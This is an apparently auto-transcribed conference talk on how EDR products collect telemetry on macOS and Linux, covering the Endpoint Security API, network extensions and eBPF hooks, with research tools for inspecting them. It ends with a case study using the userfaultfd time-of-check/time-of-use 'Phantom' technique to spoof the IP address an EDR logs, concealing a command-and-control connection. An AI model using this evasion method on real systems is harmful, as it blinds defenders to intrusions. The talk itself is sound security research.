EDR Internals for macOS and Linux - Kyle Avery

all right well thank you guys all for coming um so real uh so my name is Kyle Avery uh today I'm going to be talking about EDR internals uh for mac and Linux uh so hopefully you're in the right place um a bit of I guess uh agenda so first I'll go over just how um well I guess a bit of background information about EDR products what they are maybe some important capabilities I'll talk about some previous like similar research that that I was able to build on and then uh I'll also give a bit of um like sort of information about how you could get started doing something similar if if you're interested uh then kind of the

the meat of the talk is going to be about the Telemetry sources in Mac OS and in Linux uh if you're anything like me you might have thought that it would be about the Telemetry sources in both Mac and Linux together and then maybe I would point out some uh differences but that couldn't be less true they they're basically entirely different if you looked at at a agent um from some product for mac and one for Linux they they are implemented uh in in totally different ways just because of how the operating systems work which you'll see and then finally we'll end with a sort of case study that that takes the information we we talk about in the

previous section and uses that to to attack an EDR so um getting into it the uh an ed product is is endpoint detection and response and this is sort of the newest iteration of like the endpoint agent right so so you had antivirus and then you had maybe HIDs was kind of a thing for a bit and now the the industry I guess has has landed on this idea of EDR and the EDR agent is basically a like very verbose um collection of sensors so so you have each of these sensors on the computer that that collects different data Maybe it collects uh OS advents or maybe it like hooks certain functions to understand how things work or or

monitors some some behavior and they all sort of feed data into this one agent which then ships all of that information back to some uh like log aggregator in in the cloud somewhere and these are almost always bundled with some kind of antivirus so you buy whatever product uh and it's collecting all this information already and so the company also sells you some kind of PR some kind of preventative capability with that uh that's not really what we're talking about we're we're mostly talking about the EDR itself which is sort of how it's getting the information uh which which of course informs us about the antivirus uh but but it's really we're we're not focused on like can we evade like

getting prevented it's more about like what data are they collecting and uh if I'm a if I'm a Defender like what gaps are there or if I'm uh some kind of like pentester or or or red teamer is there any blind spots that I maybe could take advantage of now uh just about any EDR product that you buy it might have some kind of special OS specific events or some kind of like um you know secret sauce or whatever but generally they're all doing these these four things uh they're collecting any kind of failed or successful logins they're collecting a record of all processes when they start when they end on the system um they are monitoring for any

kind of file access whether you're editing a file or just opening it uh and then there may be monitoring all of the network traffic and so with with thisle C of events that's basically enough for them to detect malicious activity and inform the antivirus or some kind of instant response team or maybe just dashboards for some sock um but all of it ends up being quite a bit of information as you can imagine with with like all of the TCP connections on a system and all the processes that start including like the operating system processes and things like that so if you were to Google for like EDR internals or ADR bypass today uh you

would find lots of blogs you would find Defcon talks bsid talks all kinds of information uh that are all about Windows EDR uh they they don't usually specify that it's about Windows EDR it's just kind of assumed if you're talking about it um that's not what we're talking about today so if you'd like to know more about that there's this great blog series uh from from Olaf who we work with quite a bit about the Microsoft uh product specifically and it's sort of a defensive perspective there's also this really good book evading EDR from no starch press that is um well it's from an offensive perspective but it's really just a taxonomy of like all the way that

sensors uh from a Windows EDR agent collect data so looking at Mac and Linux now there are a couple of official documentation type sources we have the full Linux kernel source code if we want right that that we can maybe try and figure out what security uh components are there we have uh from Apple they have documentation that if you're familiar with like the windows developer documentation and and and its maybe varied quality it's it's it's worse than that so so it's not very useful all the time um and and and so those are a start but they don't really give us much much insight into how these products work uh so then maybe you could look at some

open source projects uh there is this great nonprofit foundation called Objective C uh they put out a a bunch of sort of consumer facing tools that um like they have a firewall they have a like ransomware prevention tool they have a key logger prevention tool that are made for like end users um oh did I oh did something disconnect we are so back all right um so they have all kinds of tools that are made for like consumers generally and and they're open source and free so so definitely a great organization but they also have these sort of smaller proof of concept tools uh that I listed here that are uh good examples of at least

components of um some some EDR products we also have from Microsoft they have an open source tool called cismon for Linux which is very much like sysmon it collects some of the same data but for Linux specifically the um the company elastic they that they make an EDR product elastic security or something like that uh they've open sourced a big chunk of their agent actually in this repo that they just call evf which will make sense uh later there's also these uh Linux runtime security products that that you typically see in like the cloud or container um sort of space but technically they're just Linux uh endpoint agents and so Falco and and Tracy are probably the most popular ones

at least that I've seen and then there's maybe some older examples so so there's osc and then this Fork wazu that uh for a while I think we're we're very similar to EDR products but they just haven't really updated to to continue to be similar um so they're good historical examples but I don't I don't think they're very representative sorry my water's way down here uh we can also if we want to sort of jump into the EDR you know vendor specifically uh I don't plan to talk about the spefic specific companies or or products that that I looked at for this but from like a public information perspective there is a lot of information actually so almost all of

these vendors have like blogs where they talk about maybe challenges that they ran into or like complaints that they have with the vendors um some of them will write like some public documentation about say installing the agent and maybe some of the some of the limitations or requirements with that that uh can give you you know insight into how they work and then some of them even have open source project so elastic for example has this repo called called detection rules which is uh the default antivirus rules that that ship with their EDR product um which Maybe by itself is is interesting for different reasons but the rules tell us about the log types or excuse me event types that

they have and what fields are there so so it can give us some additional insight into how these things [Music] work now that's obviously not enough to understand like how a product works just reading their like blogs or something and so uh to go beyond that you you basically have to get access to the products themselves and so um once you have purchased like one license to various vendors which which most of them will allow you to do or maybe you go through some resaler to do this um but then you get access to sort of internal customer documentation which often gives you a list of you know specifically here's all the event types and here's

all their fields and here's maybe a short description which is more useful than than just like public data uh you can also often view the like raw logs themselves which might tell you about how they're getting the information like if they are missing certain fields or have certain Fields you can kind of infer uh what that means and then finally there's just reverse engineering so you can uh do do you know some kind of like gidra uh analysis on whatever agent and and just statically look at how it works or you can maybe attach a debugger to it um most of them try to prevent you from doing this but at the end of the day like you have the agent

so you can can look at it so like I mentioned before we're not going to talk about like this vendor does X is it still I don't know how to make it not do that um well it's just a title slide right now so it'll be okay um I don't know like I don't plan to tell you that like vendor X does this or or vendor why does that or something um I don't think it's the mouse I don't know I have a different port I could put it in this is the only D I have unless you oh you have one let's see this I'll try your

[Music] soon well [Music]

all right so yeah I'm not going to talk about this vendor does this this vendor does this and this mostly because I don't want to like uh get vendors upset with me or something but um and so all of the information I'm going to tell you is just based on kind of like a general like here's what most of them do or here are General strategies that that that maybe like half of them did this and half of them did that um so yeah we'll start off talking about Mac OS if you started Googling for maybe like Mac OS endpoint security or Mac OS logging or something like that you would most likely find a couple of things that

seem promising but won't actually uh be found in in modern agents uh so you will see for example these kernel extensions this is the equivalent of um like kernel modules on Linux or drivers on Windows they're like the the like runtime loaded Kel code basically um and this used to be I guess from at least from what I've read this used to be sort of a standard way that you would collect a lot of the information you need but uh in 2019 Apple decided that you couldn't do this anymore so now you can't load colel drivers as a security vendor or really as any vendor there's a very small list of exceptions but endpoint security is

not one of them uh you will also probably find information about what's called unified logging which is um sort of the newest name for Apple's built-in system event logs they had CIS log just like Linux for a long time and then they had Apple system log and now they have unified logging and all three of them still exist on the system um but these are like the default sort of like the Windows Event log equivalent uh and these have been around for a long time and there's great information here and it's very useful for like debugging or forensics maybe uh but you're not going to use this from like a programmatic perspective for an EDR agent because Apple has restricted

who can access this data uh so I don't really have time to go into it but Apple has this kind of um strict code signing uh implementation in Mac OS that that isn't really comparable to Windows uh but it allows them to to allow certain applications to access certain data and prevent other applications from accessing it and the only way to get around that is to like reboot the system and disable most of the security controls basically and so people aren't going to do that uh if if the EDR asks them to and so it's great that this data is there but but agents can't use it so uh okay that's all the things that Apple

says you do what do they expect you to do well they have this API called the endpoint security API and this will give you just about all of the data that an EDR agent might want the only sort of exception is network data which comes from a different Source we'll talk about next uh but but this will give you just about anything else and there is basically a um standard sort of structure for how these events look that there's a type name which always starts with this es event type and then there is the response type uh which is either notify if the product just wants to be made aware that something happened or there's also off if the agent wants to

authorize it so maybe uh I I um maybe I subscribe to the oth event for opening a file and that way if a user tries to open a file before it's actually open the the agent gets to uh sort of look at the context and decide whether or not they should be allowed to and um then there's the name which is just like a description of what it does so there's exact for processes being executed there's open for files being open uh and all of this is actually implemented in user mode so there's a built-in sort of component of the kernel that exposes this and the agent will be implemented as like a just a user mode process that

uh connects to this a kernel component which is in my opinion kind of interesting but uh so if we want to start looking at um some endpoints here to clients like maybe we have some EDR application likeapp file on Mac and we assume that they're using endpoint security because that's the only way to get most of this data we can open the um the applications in this case I've downloaded Red Canary Mac monitor which is a like a free uh closed Source tool that's sort of like a like a maybe an instant response type tool I'm not exactly sure what to call it but it's just a free tool they have and it uses the endpoint security API and so if you

find an app like this that that that you want to investigate you right click on it you do package contents uh because it's just a directory with an extension once we do that if we looked in the library system extensions directory it will uh just about always have this system extension and this is what is actually the um the uh endpoint security client and so if we looked in the contents of this it's another directory it would have information that that um like there's a pist file which is the sort of configuration that tells us confidently that it's an endpoint security CL client but just seeing this this security extension system extension it's very likely a um endpoint security

client so um the clients all have to subscribe to ignore this code for a second I should have hidden it um uh every client has to call this this exported function called es subscribe uh and when they call this they they pass in the number of events they plan to subscribe to and then they pass in just this list of the event IDs so so I have my EDR product or or in this case I have Red Canary Mac Monitor and Red Canary Mac monitor says I want to subscribe to these five events you know maybe exact and open and login or something and uh so it calls es subscribe and it passes five and then it passes that list of of

IDs and so what's nice about this are the fact that they all have to call this function with these arguments is that it's something that that any of the agents that use this will have in common and so in this case what the script here is is it is a Frida script if if you're not familiar Freda is sort of a dynamic um I guess like like a dynamic instrumentation framework like you can sort of um in instead of attaching a full debugger to a process to analyze it you can just inject these like small JavaScript files that uh get interpreted into hooks so in this case I am resolving on the first line the uh the

like shared library for endpoint security and then I'm finding in that shared Library the es subscribe function because that's what we're interested in and then I'm attaching uh this Interceptor which is sort of like a like a hook so that I can trace it and I'm just going to print out the the values that are being passed so I inject this into and I'll demo this in a second but I inject this into Red Canary Mac Monitor and then Red Canary Mac monitor allows you to kind of change the events it subscribes to so I go in and change those and it will just sort of print out the information so if this plays here um so

the first thing I'll do is I will just um like find the Red Canary the syst extension process which is a p ID 330 uh then I will inject my um my free to hook into it you subscribe it's tracing it okay that's not too small I open up the red carry MAC monitor I go to the settings and right now it's not subscribed to anything but I can change this with this nice gooey I can select some events here I subscribe to them and if I go back to my terminal now I have this list of here's the events it subscribed to so it appears to be working uh and this is the exact method

that I use to to understand like the event IDs that uh various products were were subscribing to uh so now we have a list of event types is that enough like do we know the information that they're getting because we have a list of event IDs in some cases yes maybe exact we know that they're tracing process execution but some events I think are just not clear so for example uh when we look at authentication the first event type we have is this LW s Lin which tells us that it's a login window has logged in user so maybe like a like like they logged in on the desktop uh is is probably a good assumption but then we

also have this log called authentication which says that an authentication was performed and so maybe this is like do they overlap I don't know like what does data type data describing the authenticate I don't know what this means by reading and this is the most documentation you can get about this uh and then they also have this login login uh which is called that because there's a login log out uh sort of counter part but um but again it has more information and if if product a is subscribed to authentication and login login and product B is subscribed to LW session login and authentication I don't know just by reading this I don't know like

is one missing data is one like maybe getting more information so this this isn't quite enough information just knowing the list in my opinion and so I uh put this tool on GitHub called es dump there's this repo on the outlink GitHub called EDR internals that has all the like scripts and this tool and some other things uh that that sort of go with this but um es dump is a tool that you can subscribe to any of the endpoint security events so in this case uh you just sort of edit this header file oh look at that again I'm going to just unplug and plug it back in and have some water I guess drum

roll look at that all right so you edit this header file and you can see I put like these three authentication event IDs in there um I compile es dump and then and I'll uh well I'll show some output from this shortly but you just run it and it will just print out to the console in like Json format the full event um data that that an EDR agent might be able to collect if they subscribe to these it will also convert if there's like an enum uh like if I go back I think oh it didn't go back that's not good man what is up with this that's too bad does it not like presenter mode I

[Music]

wonder what is this okay presenter view okay so if I go back right um if we look at like uh like type for authentication that's like some enumeration it's like a number that corresponds to some item in the enum and so I will resolve that into a string that is like the enum value you'd see in the code uh which I think helps a bit it will also if there's like a audit token which is sort of a way to tie users and processes together it will um use that to resolve the username and the process path and the P ID and things like that so this is an example output from the es event type notify exec I've removed a

lot of the the data that's maybe less interesting just because it doesn't fit on the slide um but you can see I get the the path like I called who Ami the the current work working directory is the user uh home directory it's got this audit token which is unfilled I guess because the process just started like it can't resolve this yet um and then the responsible audit token which is like the app that launched it in this case my terminal so so user use the terminal to launch who am I and this is like like pretty verbose data for some product to understand how processes relate to each other was it launched from the terminal did it

launch from something that doesn't normally launch who am I things like that and so now we can get a list of the events that a a um that an agent subscribes to and we can use this once we know that list to dump out just like the raw contents and see um like what what data do they get when I do X or or like can they see this information right okay I mentioned before that uh network data was not covered by the endpoint security API and that's because we are instead going to use the network extension framework so Macos has apis and Frameworks and they're vaguely the same thing but but they're named differently um so it's just it's just

sort of similar to man this is just keeps not working um so uh let's see if I go back here it really does not like this oh [Music] okay so uh we write this network extension framework the network extension framework is not quite as straightforward as an endpoint security client where there's like this one API you call and tell it what you want to subscribe to instead the way it works is you will Implement what's called a a provider so there's a couple of important providers um all of the agents basically use the content filter provider uh the others packet tunnel was used by some I think is like some kind of firewall add-on Maybe

DNS proxy is just the example that we're going to look at in a second is a DNS proxy so I put it there uh and there's a few more that that that are less relevant to to this but um if you want to know if there are network extensions installed on Mac you can go to settings and go to the network Tab and and you'll see this like filters and proxy section and so I have this program that's like a firewall for Mac um running and it's a Content filter as well uh and that's where you would see like if you had some EDR running you would see it listed there if if they use a network

extension and um so if we want to analyze this again they're going to have a system extension just like the endpoint security clients so inside the app bundle you go to that same directory sometimes there are two well almost always there's two there's a separate endpoint security and network extension but sometimes it's just one that that does both things um if you open up that extension as a as a directory again I mentioned there's a pist file which is kind of the configuration and in this case it's a bit more important because the pist file that I've screenshotted on the bottom left here it includes the the type of Provider so in this case DNS

proxy provider and and it also includes this sort of string in this case it's just DNS proxy provider but that's an arbitrary value and it it tells um the network extension runtime that it tells the network extension runtime that uh that that's the name of the class that implements this provider and so when we look at um when we look at like reverse engineering a network extens framework we need to know that string so that we can start uh finding the the methods that that class has uh so this is a screenshot of Hopper which is a a disassembler for mac and we can see if I search for DNS proxy provider which again is that arbitrary

string it doesn't have to be DNS proxy provider because it's a DNS proxy um we'll find all of the methods associated with it to sort of start our our um I guess our our reverse engineering process so so uh again just knowing that something is a Content filter is not necessarily enough and so just like es dump I made a similar tool called NE dump which is a Content filter provider and it will output the uh just raw data that is collected and so um you install this it does all the same like nice conversions and and resolutions and then you'll see this this any dump is installed and for this one I actually have just a quick video to sort of show

you but um here I will will run the any dump extension or excuse me application you have to approve it like five times because that's how Mac Works um and then once it's approved several times now I can come over here oh man it that's such bad timing I feel like I just unplug and plug back in and it just takes a couple seconds and it comes back it's it's not down maybe

it pops up like it reconnected so I assumed it did but this time it did not try one more [Music]

time there we go okay so I come over to this terminal and I made a curl request to the outflank website and if I switch back to the output here uh you can see that the content filter provider is able to tell you that or excuse me the yeah the content filter provider it's able to tell you that the Source process curl was launched by um my user in this case the source app is also curl but if it was like some kind of um system process making the connection on behalf of a of a process these would be different um it resolves the like socket family and protocol and type into Strings for you instead of

just saying saying like socket family zero or something uh and then it also not only does it tell me the IP address and the port which which would make sense for a network connection it also gives me in this case the host name that was that was resolved and so at least for me this was a bit unexpected I thought okay it's going to be like a wire shark capture or something and there maybe have to be like separate logs and I have to sort of piece them together and I think that's true of the um packet tunnel provider like that's more of a like a traditional packet capture but the content filter provider is meant to be uh f focused on like flow

traffic where where they sort of consolidate events like this so um again you you sort of get uh a bit of like a combined information there all right while this reconnects uh that that is all of the Mac information so we're going to switch I guess gears a bit to Linux Telemetry now and I get this like popup when it connects so it seems like it's reconnected and then it just takes a second but maybe

not should use Windows I guess all right so yeah we're going to switch to Linux Telemetry so Linux uh again there are some things you might find that seem like they would be good candidates for Linux events but they end up not being used and the primary example of this I think is audit D so audit D has been around for a very long time it has nearly all if not all the the data that an agent might want uh if you configure it properly anyway and um you actually do see this sometimes as like an add-on so I have this screenshot I think from the elastic public docs or yeah I think it's from elastic where they have this

module called audit D module that you can add on to their agent to give you more data on this documentation again I don't remember which but it's from some public doc where they talk about the fact that they used to have audit D but now they use EVPs which which I'll talk about shortly um and and I think the primary reason for this I don't know like I haven't asked the vendors why they switched but I think the primary reason is a the performance concerns uh things that use the alternative to audit which we'll discuss are far more performant and also the just compatibility issues they're sort of like if you already have an application that's using audit D or you

want to have multiple for some reason uh I think that there's issues with like multiple clients to this and these are like the two primary complaints for any EDR product is that it slows down the system too much or it or it doesn't work with our software or something and so from a vendor perspective it makes a lot of sense why you wouldn't want to use something like that if you didn't have to and so if we aren't using audit d uh what's the alternative well all of the agents that that I looked at used uh kernel function tracing so the way that this works is there's one or more sensors depending on the implementation and they each monitor uh

sort of key kernel functions right so uh you you set up this this sensor that that either hooks a system call so some user mode process calls something in the kernel or it uh monitors or HS some internal kernel function and this sort of difference is key to our our our case study next which is why I point this out but these are sort of the general two strategies some agents are hooking or are monitoring all system calls which is sort of like the highest level of from like an abstraction perspective the highest level of Kernel mode uh functions they're the things that that like processes are calling from the kernel to open files or to make network

connections or they're hooking some internal function which is like the CIS call happens and that calls something else and so they're hooking that now if we want to trace kernel functions we have a few options here uh the I think oldest method is these kernel probes or k probes uh and then KR probes which are ways that you can hook the either entry or exit of a um function you have to resolve this function which which is why this often is only used with CIS calls uh if it's some internal kernel function you might not have symbols or it might have been optimized out or something and so you um and so you often are going to use K

probes uh on on CIS calls themselves there's also uh Trace points which are basically worked the same way except they are predefined so if you open up the Linux kernel source code and look at like the connect CIS call for example which is for making TCP connections you will see this function at the beginning that's like call Trace point or something and at the end you'll see something similar call Trace point and those are like literally calling to some other function that does logging uh and so they're not in every kernel function of course they they're only in in ones that like the Linux kernel developers decided to put them and maybe you could propose a new one or something I don't

know uh but but they're obviously not in every function so even if you want to use Trace points they're not always enough to get all of the information you want there's also uh this sort of variation I guess called raw Trace points which are made for um nons system calls so um uh Trace points are are just about always at least from what I could tell applied to system calls uh raw Trace points they're available on the CIS enter and CIS exit CIS call which are sort of called as part of any CIS call and so you could use this like to hook ones that don't have a trace point I guess um but they're also available for

like some non-cys call things like if you call um uh I'm struggling think of it an example if you to create a process on Linux there's no Trace point in the um execve or whatever uh CIS call but there's a raw Trace point that is like schedule process exact I think and that is like the kernel sort of um I'm actually not exactly sure how it works but it but it it gives you similar information to as if you had hooked uh from an internal function as opposed to the CIS call and so you can use a raw Trace point for that which is really just a more performant Trace point I guess and then finally there are these

function entry and function exit probe probes F entry or F exit and these are even more performant uh and and the reason that that these keep getting better is because they're only available in like newer and newer kernel versions and these are added by the compiler actually so they they work very similarly to again to trace points and K probes they're just different things that you would see if you were looking at agents some of them use mostly K probe some of them use mostly F entry or F exit some of them use some mix of like Trace points and K probes or Trace points and but but in the end all sort of doing the same thing they they're

just sort of implementing it differently uh one more

time

here like afraid to unplug it cuz it's going to switch right when I do it of course

sometimes I think it's just like the ER vendors do not want you to know this they're trying to shut us down all right so um so I mentioned that that they're implementing their their hooks with all of these Trace points and these are all kernel Trace points whether they're CIS call or not and so in order to use kernel Trace points you need some kind of Kernel code execution and there's basically two ways of doing this uh there is a Linux kernel module which is is kind of like a driver or on Mac a kernel extension uh and this is not like the preferred method for any of the vendors that I looked at they

almost always have a Linux kernel module that is like an option for like Legacy servers or um sometimes they just call it like the kernel mode sensor which is vague uh and and the reason you might not want to use this is because it's just curl mode code like you're just writing C or C++ code or something and you're putting it in kernel space and if it crashes there's a good chance that it's going to cause a kernel panic and now your system needs to be rebooted right and so you know you could lose data or whatever else um but again they they did this for years without too many issues I guess it's just the risk is

still there and so it's maybe more work to implement it in a way that it won't crash or they have customer concerns that that um they can't really answer evf is uh a newer feature of the of the Linux kernel from 4 something on um so so basically any like newer drro will have this uh and sometimes you'll hear vendors call this like the user mode agent which is incorrect I think um but but I guess it makes sense and the reason for that is because the way that evf programs work is you have this very small program uh that has all of these sort of restrictions you can't allocate Dynamic like Heap memory your

stack is very small you can't use Global variables but you compile it to this BPF bite code it's not like assembly and you give it to the kernel and it can execute it in a way that it is guaranteed not to crash the kernel it's sort of restricted it can't access data structures that would um crash the running system and because of the memory constraints it's not able to to have um like I guess memory corruption bugs uh is the claim anyway I don't know if that's accurate but that's what they say and um because they're so small you typically have a separate BPF program for each hook so you have like a connect csol BPF program you have an execve or

or rather schedule process exec um a BPF program you have like all these ones that each hook a different function and they all sort of report to this user mode program which is the agent uh very much like a Linux kernel module would going would report to a user mode process that sort of formats and then ships the the data but in any case these are safer in that they won't crash of the kernel and sometimes you'll hear them refer to as user mode which because they're like I guess reporting to a user mode component I don't know so in this video it's a bit longer so fingers crossed that we don't have any uh issues

here but I'm going to look at I have this VM with cismon for Linux installed which again an open source tool I can list processes here and I see okay cismon is running it's got PID 811 and there's this great open source tool called BPF tool and this is available in like most uh package managers and uh with BPF tool the first thing I can do is list all of the BPF program so obviously doesn't all fit on the screen but you can see there's a trace Point um for 64 a trace point on UDP send there's a trace point on TCP connection well rather there's a trace Point called UTP send and that's like an arbitrary name

all of the vendors use names that that make it very clear what it does though uh and you know proc terminated and there's I mean 60 something of these there's a few sort of built-in ones like from system D I think that aren't Associated but all of the ones that are for Sison at the bottom you can see pids and it's Symon so this is the list of running BPF programs like that are currently loaded and for each of these I can look at the program itself using its ID so I think in this case I do ID 63 um so I will do prag dump and I can actually dump the bite code associated

with that program and I'm going to sort of trim it a bit to make it more clear but you can see that um I get some like metadata or like some symbols about the the code itself so I can see they have a function called TCB connection it returns an INT it takes these arguments I can look at the bite code um in this case I think it's a different flag that I didn't use but you can even have it show you like the original line numbers and and often file names with like paths and so you get a lot of information about you know exactly how uh or exactly like like what was intended because you get all of

these like symbols uh that that tell you not only that that it's a hook on connect or something but that it's called this and it's in this file and it's you know uh that way you can sort of understand what else it's associated with drum roll I don't think it like that actually the next thing we'll do that I'll show you here in a second is uh we will look at the maps it has so BPF programs always have Maps which are the way that they share data from these kernel mode components with the user mode agent so again uh sorry that's in the way but I list the programs again um and we can

see on the right here is the map IDs and those are all the maps that that BPF program uses and I can do map list and I can look for like ID3 and it has a name it's called config map which again is just arbitrary that's what cismon calls it um I can dump the contents of that map sometimes it will just be raw bytes that don't mean much but it's it's not always raw bytes so in this case again I SAR trimmed it but but we get this like Json data that I can just read uh and so again this gives us like a lot of information about okay this program and that program they all have this config

map and there's more values that that didn't F on the screen which is why I trimmed it but tell us about like certain settings the EDR has is the like firewall component on is the advanced Network whatever on um so so for cismon there there's obviously not of any settings but for other programs you'll get sort of a number of of uh useful like a useful bits of information there uh I think that's yeah okay so we know about that um you know Linux products work this certain way where they hook uh various kernel functions I mentioned before that it's key that some of them hook CIS calls and some of them hook internal functions and so this is

kind of our example now about 3 years ago now there was this talk at Defcon 29 and these two guys they they had this idea and they ended up finding this vulnerability in Falco and Tracy which I mentioned at the beginning are like Cloud typically but but really they're just like Linux endpoint monitoring systems uh and what they found was that because Falon and Tracy uh implemented their agen using CIS call tracing like they hooked CIS calls there was this time of check time of use of vulnerability in uh in their implementation that allowed them to spoof data that they sent to that they sent back to the agent so they could make the cisal do one thing but they

were passing different information to the uh agent or to the server itself and you read this and you see that oh okay like Falcon Tracy used CIS call hooks um and and that sounds very familiar to at least some of of the agents that that we talked about so generally the way that this works this is sort of pseudo code but at the top here I have the connect CIS call uh and you can see there's like some kind of Entry maybe it's a trace point maybe it's F entry it doesn't really matter maybe it's kpr but at the top there's some kind of tracing at the and then the actual CIS call CIS connect is executed

and then afterwards there's some kind of exit tracing they might hook the return they might hook the um the entry but regardless there is some kind of check happening that's the time of check in in the kind of name of the vulnerability um there's some kind of time of check happening in that first half and then once once that happens or maybe before that happens there is this function where the address that that the user passes in this case the IP address that they want to connect to it is copied to Kernel memory to be used and so the key here is that there is a check that happens and there's a use that happens and they're different and so

there's a chance that there some sort of vulnerability here so uh the way that they attacked worked they called it Phantom attack excuse me they have three three threads in this process there's this main thread there's this page fault thread and the spoof thread the main thread will reserve some memory so they'll call map which is a way to reserve uh virtual memory but they won't actually allocate it they'll just sort of reserve it and so there's the memory isn't usable yet by by like a a CIS call for example um but it's reserved so they have an address and then they'll just have this spoof thread sort of blocking uh it's blocking on a mutex but what's important

is that it's just waiting it's not doing anything now they also call this this called user fault FD which is sort of the key to this at least to the time of check time of use exploitation and user fault FD tells the Kel that that if there's a page fault that um instead of like handling it itself it should call back to a certain function and create a new thread uh in in the user process and so um user fault F FD allows us to handle the page fault

um maybe sometimes once is just not [Music] enough okay so it calls fault FD which tells the colonel if there's a page fault call this function instead now it will execute the target CIS call so maybe we execute connect we we want to open a TCP connection uh it opens a TP connection and as the argument for the IP address it passes uh that that Reserve memory which when the colonel gets that it tries to read from it or maybe the hook tries to read from it whatever it is something tries to read from it and it's invalid um it's not a um it's not a it's not actually allocated memory so so it's not able to

be used yet I feel like it's getting more frequent I don't um just really doesn't like me today and so that trailers a page fault which because of user fault FD will call back to our program so instead of the kernel handling this itself and just like crashing my program or something it uh it calls back to it calls back to uh the the exploit right so okay now the page FAA thread receives this pagea um sort of Handler instruction and it will then it will actually allocate the of the memory and it will write the real data there so it'll write like the IP address of our Command and control server or something which we want to connect to so some so

some bad IP wow that we don't want the sock to see or we don't want the antivirus to see or whatever it may be uh and this is like 30 second delay every 30 seconds all right so it will it will write the real data so that it can continue it will also release the mutex which allows the spoof thread to run uh and it then it returns and so it Returns the kernel starts executing the real CIS call with the like command and control IP and meantime or in the mean time the spoof thread will write fake data back to the same memory so what this allows uh to happen is that the um the kernel uses

the real data it calls excuse me it copies it into whatever uh kernel mode memory it has so that it can use that or use that like real IP for the connection and before the trace point is able to execute the spoof thread will write fake data back to the original page and so all of this if you want to know more about this I would just recommend you watch their talk about how the attack works but um excuse me understanding this and then um you know understanding that that the vulnerability uh affected these products because it worked similarly to the um to some of the products that I looked at I wanted to know like would this work

against some product and the answer is yes so this is a a demo I've got the spoof IP 1337 that I'm going to tell the EDR product um and then I've got the real IP of google.com so I'm going to try and curl google.com like just get the HTTP data and then I'm going to go to the EDR console and I'm going to see if like do they get google.com or do they get our 1337 so I play this um you have to use pseudo because of the user fault FD CIS call unfortunately uh I think if you found another way to widen the time of check time of use window you could do this without pseudo but that's just how

it is and so okay first off I curled google.com right we have like some nice information about the exploit but what's important is the output here we can see google.com it's a redirect cuz I connected to Port 80 it's trying to tell me to go to the SSL site um but it's google.com play this here now I switch back oh man this is like it's always right at the worst time huh they do do not want you to know this info The Forbidden Knowledge

all right we want to man it really oh

wow okay so I made my C request and if we can switch tabs fast enough we've got our console here I run this query oh my gosh are you serious this is like it it's getting shorter right like it seems like it's I'm Prett sure it's a bad yeah I don't know what else it would be we tried different adapters or or be bad laptop okay so I run this and we we sort of query I filter it to only this computer only this port just to make it simple but we see that the remote IP oh my gosh the remote IP it connects to is uh the 1337 so so that's sort of the the

proof that it works I guess if you were able to not blink so that said that's that's everything I had to talk about so thank you all for coming um if you have any questions I'm happy to answer them if you want to know more about this I actually wrote A Blog about the same information earlier this week that's on the alank website so alan. NL is is our website and you can find uh our blog about all of this as well so thank you